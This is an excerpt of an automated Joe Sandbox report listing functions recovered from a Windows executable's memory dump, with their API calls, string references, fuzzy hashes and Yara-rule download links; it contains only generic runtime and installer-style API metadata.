Instruction Fuzzy Hash: 4C31D536904B058BC720FF55888057B77A8EE84344F14893EEC85373C2EB799D61DBAA

Function 00405553 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00405562
GetModuleHandleW.KERNEL32(ntdll.dll,?,?,00000000), ref: 00405571
GetProcAddress.KERNEL32(00000000,RtlGetVersion), ref: 00405581

Strings

ntdll.dll, xrefs: 0040556C
RtlGetVersion, xrefs: 0040557B

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: AddressHandleModuleProcmemset
String ID: RtlGetVersion$ntdll.dll
API String ID: 3137504439-1489217083
Opcode ID: 6332086022332b991d2c4cf9c539ad8fbd8ac088d8322b57d3057784f2e87649
Instruction ID: 30d66d9a54b09ec8b40df40bafdfba1d8cbaec4fc0a5d0b23e6a41b72964e000
Opcode Fuzzy Hash: 6332086022332b991d2c4cf9c539ad8fbd8ac088d8322b57d3057784f2e87649
Instruction Fuzzy Hash: FAE09A3176461176C6202B76AC09FCB2AACDF8AB01B14043AB105E21C5E63C8A018ABD

Function 0040A043 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 0040A0AB
HeapAlloc.KERNEL32(00000000,00000000,00000000,00000001,?,?,?,00000000,00409ECC,?,?,00000000,?,?,00403C62), ref: 0040A0C1
wcscpy.MSVCRT ref: 0040A0CC
memset.MSVCRT ref: 0040A0FA

Strings

$0A, xrefs: 0040A07C

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: AllocHeapmemsetwcscpywcslen
String ID: $0A
API String ID: 1807340688-513306843
Opcode ID: ddb17ac4584ae50943752de31405e04708b8483d2d19b8b99954ed05a6fee5b2
Instruction ID: f5e08f91bfd61cb5ee80f18050d08b7446549b79f9f251a776f81db7a0f8ced7
Opcode Fuzzy Hash: ddb17ac4584ae50943752de31405e04708b8483d2d19b8b99954ed05a6fee5b2
Instruction Fuzzy Hash: ED212431100B04AFC321AF259845B2BB7F9EF88314F14453FFA8562692DB39A8158B1A

Function 00409DE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00409ECF: HeapFree.KERNEL32(00000000,?,?,00000000,00000200,?,?,00409DEF,00000200,?,?,?,004010C3,00000004,00000015,00000000), ref: 00409EFA
Part of subcall function 00409ECF: HeapFree.KERNEL32(00000000,?,?,?,00409DEF,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5), ref: 00409F06
Part of subcall function 00409ECF: HeapFree.KERNEL32(00000000,?,?,?,?,00409DEF,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200), ref: 00409F1A
Part of subcall function 00409ECF: HeapFree.KERNEL32(00000000,00000000,?,?,00409DEF,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5), ref: 00409F30

HeapAlloc.KERNEL32(00000000,0000003C,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000), ref: 00409DFF
HeapAlloc.KERNEL32(00000008,00000015,?,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000), ref: 00409E25
HeapAlloc.KERNEL32(00000008,FFFFFFED,FFFFFFED,00000010,00010000,00000004,00000200,?,?,?,?,004010C3,00000004,00000015,00000000,00000200), ref: 00409E82
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000), ref: 00409E9C

Strings

$0A, xrefs: 00409E87

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: Heap$Free$Alloc
String ID: $0A
API String ID: 3901518246-513306843
Opcode ID: b46946705b204f9c30dffdadfffedc2aca485d526b87e64f112108196cd3b2d8
Instruction ID: e0ba865afb0c504cde721ebe6402ca52a8b9bc1920db32d4218675ac1f34fbd8
Opcode Fuzzy Hash: b46946705b204f9c30dffdadfffedc2aca485d526b87e64f112108196cd3b2d8
Instruction Fuzzy Hash: EC213971600616ABD320DF2ADC01B46BBE9BF88710F41852AB548A76A1DB71EC248BD8

Function 00405492 Relevance: 7.6, APIs: 5, Instructions: 60synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00001000,?,?,00000000,02289B68), ref: 004054AB
EnterCriticalSection.KERNEL32(004186A8,?,?,?,?,00402E2C,00000000,00000000,?,0000000A,?,00000000,00000001,00000000,00000000,00000000), ref: 004054BD
WaitForSingleObject.KERNEL32(00000008,00000000,00000000,?,?,?,?,00402E2C,00000000,00000000,?,0000000A,?,00000000,00000001,00000000), ref: 004054D4
CloseHandle.KERNEL32(00000008,?,?,?,?,00402E2C,00000000,00000000,?,0000000A,?,00000000,00000001,00000000,00000000,00000000), ref: 004054E0

Part of subcall function 0040DB32: HeapFree.KERNEL32(00000000,-00000008,0040D44B,00000010,00000800,?,00000000,?,?,00000000,004033A4,00000000,00000000,00000000,00000000,?), ref: 0040DB6B

LeaveCriticalSection.KERNEL32(004186A8,?,?,?,?,00402E2C,00000000,00000000,?,0000000A,?,00000000,00000001,00000000,00000000,00000000), ref: 00405523

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: CriticalSection$CloseCreateEnterFreeHandleHeapLeaveObjectSingleThreadWait
String ID:
API String ID: 3708593966-0
Opcode ID: 90d5c19b946ffb749f21a3af15512962dae866b54bf80da6b69c9a1821aaad17
Instruction ID: 0c8983fff82f944e714e95dc609c427016460782395ad7ea9b381996daa8850a
Opcode Fuzzy Hash: 90d5c19b946ffb749f21a3af15512962dae866b54bf80da6b69c9a1821aaad17
Instruction Fuzzy Hash: 6E110632145604BFC3015F54EC05ED7BBB9EF45752721846BF800972A0EB75A8508F6D

Function 0040D946 Relevance: 7.6, APIs: 5, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00418624,00000200,00000000,?,00409EE8,?,00000000,00000200,?,?,00409DEF,00000200,?,?,?,004010C3), ref: 0040D95A
LeaveCriticalSection.KERNEL32(00418624,?,00409EE8,?,00000000,00000200,?,?,00409DEF,00000200,?,?,?,004010C3,00000004,00000015), ref: 0040D9AF

Part of subcall function 0040D946: HeapFree.KERNEL32(00000000,?,?,00409EE8,?,00000000,00000200,?,?,00409DEF,00000200,?,?,?,004010C3,00000004), ref: 0040D9A8

DeleteCriticalSection.KERNEL32(00000020,00000000,00000000,?,00409EE8,?,00000000,00000200,?,?,00409DEF,00000200,?,?,?,004010C3), ref: 0040D9C8
HeapFree.KERNEL32(00000000,00000000,00000000,00000000,?,00409EE8,?,00000000,00000200,?,?,00409DEF,00000200), ref: 0040D9D7

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: CriticalSection$FreeHeap$DeleteEnterLeave
String ID:
API String ID: 3171405041-0
Opcode ID: cbed9a95af3197c0c236be5f183e3b734408b447f4af695c0c167132bfd4a986
Instruction ID: 8e0b58a532cd0764c064264ab0afec864f9344a56e81b99afb7742a3bcd9c4dc
Opcode Fuzzy Hash: cbed9a95af3197c0c236be5f183e3b734408b447f4af695c0c167132bfd4a986
Instruction Fuzzy Hash: 80112B71501601AFC7209F55DC48B96BBB5FF49311F10843EA45A936A1D738A844CF98

Function 00409698 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 0040E260: TlsGetValue.KERNEL32(0000000D,00001000,00000000,00000000), ref: 0040E26C
Part of subcall function 0040E260: HeapReAlloc.KERNEL32(02280000,00000000,?,?), ref: 0040E2C7

GetModuleFileNameW.KERNEL32(00000000,00000104,00000104,00000000,?,?,?,00401BC5,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000), ref: 004096B4
wcscmp.MSVCRT ref: 004096C2
memmove.MSVCRT(00000000,00000008,\\?\,?,?,?,00401BC5,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000000), ref: 004096DA

Strings

\\?\, xrefs: 004096BA, 004096D4

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: AllocFileHeapModuleNameValuememmovewcscmp
String ID: \\?\
API String ID: 3734239354-4282027825
Opcode ID: 0153655e129c1090b4fb96721347d81aa5438cd66e58ba985cbb1c9c08f4e59e
Instruction ID: 273bc576c06434c2caee33e7ea90b93358419674725e30c46c8a7bea9ec705d9
Opcode Fuzzy Hash: 0153655e129c1090b4fb96721347d81aa5438cd66e58ba985cbb1c9c08f4e59e
Instruction Fuzzy Hash: BBF0E2B31006017BC210677BDC85CAB7EACEB853747000A3FF515D24D2EA38D82496B8

Function 0040B236 Relevance: 6.3, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040B2D7
memset.MSVCRT ref: 0040B2E0
memset.MSVCRT ref: 0040B2E9
memset.MSVCRT ref: 0040B2F6
memset.MSVCRT ref: 0040B302

Part of subcall function 0040C636: memcpy.MSVCRT(?,?,00000040,?,?,?,?,?,?,?,?,?,00000000,?,0040B275,?), ref: 0040C690
Part of subcall function 0040C636: memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,0040B275,?), ref: 0040C6DF

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 6af7cb9f910f70f93df9e3bab83db51edc5e588b158ebd52074512bae1687c56
Instruction ID: 0935afcf37e6329c3ac2d0f56793f6a9f9fc9668031c2f15978d8007e640a3dc
Opcode Fuzzy Hash: 6af7cb9f910f70f93df9e3bab83db51edc5e588b158ebd52074512bae1687c56
Instruction Fuzzy Hash: 322103317506083BE524AA29DC86F9F738CDB81708F40063EF241BA2C1CA79E54947AE

Function 00405BA0 Relevance: 6.2, APIs: 4, Instructions: 167memoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000000,?), ref: 00405C6A
wcsncpy.MSVCRT ref: 00405CC0

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: AllocHeapwcsncpy
String ID:
API String ID: 2304708654-0
Opcode ID: abff55b24cf8305edd91d71e69c9c0649d4e3fc2b61a87c9063bbd8ae977bd8a
Instruction ID: a3f43ae3cc8438659badc3904afd778ac5f48c872593279c616423bb3bd2bb8e
Opcode Fuzzy Hash: abff55b24cf8305edd91d71e69c9c0649d4e3fc2b61a87c9063bbd8ae977bd8a
Instruction Fuzzy Hash: 6D51AD34508B059BDB209F28D844A6B77F4FF84348F544A2EF885A72D0E778E915CB99

Function 00406670 Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

CharLowerW.USER32(00417032,?,?,?,?,?,?,?,?,?,00402745,00000000,00000000), ref: 00406696
CharLowerW.USER32(00000000,?,?,?,?,?,?,?,?,00402745,00000000,00000000), ref: 004066D0
CharLowerW.USER32(?,?,?,?,?,?,?,?,?,00402745,00000000,00000000), ref: 004066FF
CharLowerW.USER32(?,?,?,?,?,?,?,?,?,00402745,00000000,00000000), ref: 00406705

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: CharLower
String ID:
API String ID: 1615517891-0
Opcode ID: e161e10b7a4b34b45bc7c15099726f4e7ff8b3d71e89e60b0d1392e1659b6289
Instruction ID: 50cff0fc212774e4e1f85142edc8b720228546f3e888a8e5f893537154114361
Opcode Fuzzy Hash: e161e10b7a4b34b45bc7c15099726f4e7ff8b3d71e89e60b0d1392e1659b6289
Instruction Fuzzy Hash: 582176796043058BC710AF1D9C40077B7E4EB80364F86483BEC85A3380D639EE169BA9

Function 00412240 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00412271
malloc.MSVCRT ref: 00412281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000), ref: 0041229B
malloc.MSVCRT ref: 004122B0

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: ByteCharMultiWidemalloc
String ID:
API String ID: 2735977093-0
Opcode ID: dda470ae4ce4e8229e703b02ef989f91deb9167292a565bef41a6c3ba200bf59
Instruction ID: 3c1085fe75aa08d7dfcf325d5fd6ce3d1ff6e0efa089dc1519f7c1eb2db8e9d3
Opcode Fuzzy Hash: dda470ae4ce4e8229e703b02ef989f91deb9167292a565bef41a6c3ba200bf59
Instruction Fuzzy Hash: F70145373413013BE2204685AC02FAB3B58CBC1B95F1900BAFF04AE6C0C6F3A80182B8

Function 004121A0 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,-00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,0040D0B8,00000000), ref: 004121D4
malloc.MSVCRT ref: 004121E4
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,-00000001,00000000,00000000,00000000,00000000,00000000), ref: 00412201
malloc.MSVCRT ref: 00412216

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: ByteCharMultiWidemalloc
String ID:
API String ID: 2735977093-0
Opcode ID: 00a490c9ef2dc5a478e4fad7c5361c88d21327c35d3ed7742fb63e43f6d77948
Instruction ID: ba92e613a2f9bf0a88025da3432e472bc54701246ba04d0c993b0b67be8a7a27
Opcode Fuzzy Hash: 00a490c9ef2dc5a478e4fad7c5361c88d21327c35d3ed7742fb63e43f6d77948
Instruction Fuzzy Hash: 9401F57B38130137E3205695AC42FBB7B59CB81B95F1900BAFB05AE2C1D6F76814C6B9

Function 0040A96C Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

SHGetFolderLocation.SHELL32(00000000,02289B68,00000000,00000000,00000000,00000000,00000000,?,00000104,0040A91B,00000000,00000000,00000104,?), ref: 0040A97E
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 0040A98F
wcslen.MSVCRT ref: 0040A99A
CoTaskMemFree.OLE32(00000000,?,00000104,0040A91B,00000000,00000000,00000104,?,?,?,?,00000009,00403791,00000001,00000000,00000000), ref: 0040A9B8

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: FolderFreeFromListLocationPathTaskwcslen
String ID:
API String ID: 4012708801-0
Opcode ID: 19b4b104c0b63c733be71c6c9fc4bbe8097ebb7fbe2648ca0bea1f237fe466b4
Instruction ID: 15676ea375ba95ce47a4ad1d62f3a4f85f84cc5ccd71b7d74cdbb22097095955
Opcode Fuzzy Hash: 19b4b104c0b63c733be71c6c9fc4bbe8097ebb7fbe2648ca0bea1f237fe466b4
Instruction Fuzzy Hash: 51F0D136610614BAC7205B6ADD08DAB7B78EF06660B414126F805E6250E7308920C7E5

Function 00405436 Relevance: 6.0, APIs: 4, Instructions: 34threadCOMMON

Download Yara Rule

APIs

Part of subcall function 004053EA: EnterCriticalSection.KERNEL32(004186A8,?,?,-0000012C,004053D0,00000000,00401FC5,00000000,-0000012C,004023BA,00000000,?,00000000,00000001,00000000,00000000), ref: 004053F5
Part of subcall function 004053EA: LeaveCriticalSection.KERNEL32(004186A8,?,?,-0000012C,004053D0,00000000,00401FC5,00000000,-0000012C,004023BA,00000000,?,00000000,00000001,00000000,00000000), ref: 00405428

TerminateThread.KERNEL32(00000000,00000000,00000000,?,?,-0000012C,00401FD4,00000000,-0000012C,004023BA,00000000,?,00000000,00000001,00000000,00000000), ref: 00405446
EnterCriticalSection.KERNEL32(004186A8,?,?,-0000012C,00401FD4,00000000,-0000012C,004023BA,00000000,?,00000000,00000001,00000000,00000000,00000000,00000002), ref: 00405452
CloseHandle.KERNEL32(-00000008,?,?,-0000012C,00401FD4,00000000,-0000012C,004023BA,00000000,?,00000000,00000001,00000000,00000000,00000000,00000002), ref: 00405472

Part of subcall function 0040DB32: HeapFree.KERNEL32(00000000,-00000008,0040D44B,00000010,00000800,?,00000000,?,?,00000000,004033A4,00000000,00000000,00000000,00000000,?), ref: 0040DB6B

LeaveCriticalSection.KERNEL32(004186A8,?,?,-0000012C,00401FD4,00000000,-0000012C,004023BA,00000000,?,00000000,00000001,00000000,00000000,00000000,00000002), ref: 00405486

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: CriticalSection$EnterLeave$CloseFreeHandleHeapTerminateThread
String ID:
API String ID: 85618057-0
Opcode ID: a2b12058037983e8feb28cac182eb15ba2e3b37f6182c0419abf98dc8b579576
Instruction ID: 3069acd899a723a1849542c16efb52ddeba99d38bb4cb8d15d413c759c742d3e
Opcode Fuzzy Hash: a2b12058037983e8feb28cac182eb15ba2e3b37f6182c0419abf98dc8b579576
Instruction Fuzzy Hash: CDF05432905610AFC2205F619C48AE77B79EF54767715843FF94573190D73868408E6E

Function 00403001 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 193COMMON

Download Yara Rule

APIs

Part of subcall function 0040DFC0: TlsGetValue.KERNEL32(0000000D,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000,00000000,00000004,00000000,00417070,00000008,0000000C), ref: 0040DFD7

Part of subcall function 0040DE80: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040DE86
Part of subcall function 0040DE80: TlsGetValue.KERNEL32(0000000D), ref: 0040DE95
Part of subcall function 0040DE80: SetLastError.KERNEL32(?), ref: 0040DEAB

Part of subcall function 00405182: TlsGetValue.KERNEL32(00000000,00402FDE,00000000,00000008,00000001,00000000,00000000,00000000,00000000,00000000,?,00000200,00000000,00000000,00000000,00000000), ref: 00405189

Part of subcall function 00405EB0: CharUpperW.USER32(00000000,00000000,FFFFFFF5,00001000,00001000,?,?,00001000,00402FE6,00000000,00000008,00000001,00000000,00000000,00000000,00000000), ref: 00405F01

Part of subcall function 0040DEC0: TlsGetValue.KERNEL32(0000000D,00000000,00000000), ref: 0040DECC
Part of subcall function 0040DEC0: RtlAllocateHeap.NTDLL(02280000,00000000,?), ref: 0040DEF9

Part of subcall function 0040DEC0: RtlReAllocateHeap.NTDLL(02280000,00000000,?,?), ref: 0040DF1C

Part of subcall function 00402E9D: FindResourceW.KERNEL32(00000000,0000000A,00000000,00000000,00000000,00000000,00000000,00000000,0040439A,00000000,00000000,00000000,00000001,00000000,00000000,00000000), ref: 00402EC5
Part of subcall function 00402E9D: __fprintf_l.LIBCMT ref: 00402F1F

Part of subcall function 00409355: CoInitialize.OLE32(00000000), ref: 00409373
Part of subcall function 00409355: memset.MSVCRT ref: 00409381
Part of subcall function 00409355: LoadLibraryW.KERNEL32(SHELL32.DLL,?,?,0000000A), ref: 0040938E
Part of subcall function 00409355: GetProcAddress.KERNEL32(00000000,SHBrowseForFolderW), ref: 004093B0
Part of subcall function 00409355: GetProcAddress.KERNEL32(00000000,SHGetPathFromIDListW), ref: 004093BC
Part of subcall function 00409355: wcsncpy.MSVCRT ref: 004093DD
Part of subcall function 00409355: wcslen.MSVCRT ref: 004093F1
Part of subcall function 00409355: CoTaskMemFree.OLE32(?), ref: 0040947A
Part of subcall function 00409355: wcslen.MSVCRT ref: 00409481
Part of subcall function 00409355: FreeLibrary.KERNEL32(00000000,00000000), ref: 004094A0

Part of subcall function 00403CD7: FindResourceW.KERNEL32(00000000,0000000A,00000000,00000000,00000000,00000000,00000000,-00000004,00403A61,00000000,00000001,00000000,00000000,00000001,00000003,00000000), ref: 00403D07

PathAddBackslashW.SHLWAPI(00000000,00000200,FFFFFFF5,00000000,00000000,00000000,00000200,00000000,00000000,FFFFFFF5,00000003,00000000,00000000,00000000,00000000,00000000), ref: 004031CC

Part of subcall function 0040E020: wcslen.MSVCRT ref: 0040E037

PathRemoveBackslashW.SHLWAPI(00000000,00000000,00000000,02289E78,00000000,00000000,00000200,00000000,00000000,00000200,FFFFFFF5,00000000,00000000,00000000,00000200,00000000), ref: 00403231

Part of subcall function 00402CA9: FindResourceW.KERNEL32(?,0000000A,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00402D44

Strings

$pA, xrefs: 004030CC

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: Value$FindResourcewcslen$AddressAllocateBackslashErrorFreeHeapLastLibraryPathProc$CharInitializeLoadRemoveTaskUpper__fprintf_lmemsetwcsncpy
String ID: $pA
API String ID: 790731606-4007739358
Opcode ID: fafddd55d836537589261c709968970c6775ae1a276d84be64f2893e19f462a9
Instruction ID: fee6f31afef46dfc3d4b18dc130868db542cea1a9d30875f0fa626089c73850b
Opcode Fuzzy Hash: fafddd55d836537589261c709968970c6775ae1a276d84be64f2893e19f462a9
Instruction Fuzzy Hash: E151F6B5904A007EE2007BF2DD82E3F266EDFD4719B10893FF844B9092C93C994DA66D

Function 004024F1 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 004025A3
PathRemoveArgsW.SHLWAPI(?), ref: 004025D9

Part of subcall function 00405182: TlsGetValue.KERNEL32(00000000,00402FDE,00000000,00000008,00000001,00000000,00000000,00000000,00000000,00000000,?,00000200,00000000,00000000,00000000,00000000), ref: 00405189

Part of subcall function 0040DEC0: TlsGetValue.KERNEL32(0000000D,00000000,00000000), ref: 0040DECC
Part of subcall function 0040DEC0: RtlAllocateHeap.NTDLL(02280000,00000000,?), ref: 0040DEF9

